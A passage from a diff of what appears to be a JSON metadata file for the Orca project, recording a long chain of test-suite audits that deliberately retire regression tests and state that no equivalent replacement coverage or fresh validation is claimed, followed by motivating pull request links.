including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Local macOS evidence covers main-process pending-output and projection-admission caps, saturated-tail wait detection, direct-SSH source retention/accounting, always-on V1 negotiation with legacy peer fallback, exact provider-generation pause ownership, renderer exit/data ordering, decoder input bounds, bounded reconnect scheduling, and WSL stdio transport settlement through deterministic unit contracts. A joined main/runtime oracle exercises renderer-sourced headed semantics and headless-model snapshot semantics without launching a live paired server. Separately, a macOS-hosted Docker OpenSSH run exercises only the deployed Linux relay and direct SSH provider with an exact 256 KiB source-credit plateau, concurrent PTY typing, fixed-size filesystem frames, Git churn, and owner-lease reconnect. Neither deterministic topology labels nor Docker SSH constitute live headed desktop, headless orca serve, or physical WSL evidence; local/daemon, prior-version daemons, Windows named pipes/ConPTY, folder workspaces, and mixed-version clients also remain uncovered. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/6836",
         "https://github.com/stablyai/orca/pull/6858",
@@ -9210,7 +8941,7 @@
         "https://github.com/stablyai/orca/pull/7054"
       ],
